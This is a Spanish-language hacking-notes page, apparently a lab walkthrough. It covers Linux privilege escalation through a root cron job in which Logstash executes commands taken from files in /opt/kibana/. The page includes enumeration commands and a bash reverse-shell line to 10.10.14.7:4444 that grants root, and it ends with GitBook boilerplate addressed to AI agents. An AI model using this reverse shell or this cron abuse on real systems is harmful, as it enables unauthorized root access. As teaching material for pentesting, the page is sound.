> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md).

# Abuso de cron con Logstash - Escalada de privilegios en Linux

## Qué es

Los trabajos cron crean rutas de escalada de privilegios cuando tareas recurrentes de root ejecutan scripts escribibles, rutas relativas inseguras o procesadores vulnerables. La clave es demostrar que un usuario con pocos privilegios controla algo que ejecutará una tarea programada con privilegios. Esta página específica se centra en **Trabajos cron (Logstash)** y mantiene práctico el flujo de explotación: identificar la condición, validarla de forma segura y luego ejecutar la carga útil mínima necesaria para demostrar el impacto.

## Enumeración

Comienza confirmando el contexto local y la configuración incorrecta exacta antes de ejecutar la ruta de explotación.

```bash
cat /etc/crontab
ls -la /etc/cron.*
systemctl list-timers --all
```

## Ejemplos

## Abusar de Logstash

Busca todos los archivos accesibles con el usuario `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="/files/f14407f9ee41de4b9ffae86622c8873f91946040" alt="" width="563"><figcaption></figcaption></figure>

Al acceder a Logstash, descubrimos tres archivos de configuración:

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="/files/6ef27d5d56253fa94fc6a347594c7dbc0448d29d" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
En resumen, Logstash realiza una tarea cron que comprueba cada 10 segundos si existe un archivo llamado `logstash_*` en el `/opt/kibana/` directorio. Si se encuentra un archivo correspondiente y contiene un comando con una entrada específica, en la forma:
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="/files/265540edfd1d82bf0caf8e9fd01e32004117ce03" alt=""><figcaption></figcaption></figure>

Para explotar esta vulnerabilidad, se crea un archivo llamado `logstash_exec` en el `/opt/kibana/` directorio con el siguiente contenido:

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

Luego escuchamos en el puerto 4444 y obtenemos acceso root.

<figure><img src="/files/d734d05f1ac154956a6d718f405dc45dbd38bc03" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/privesc/cron-jobs/logstash-cron-abuse-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
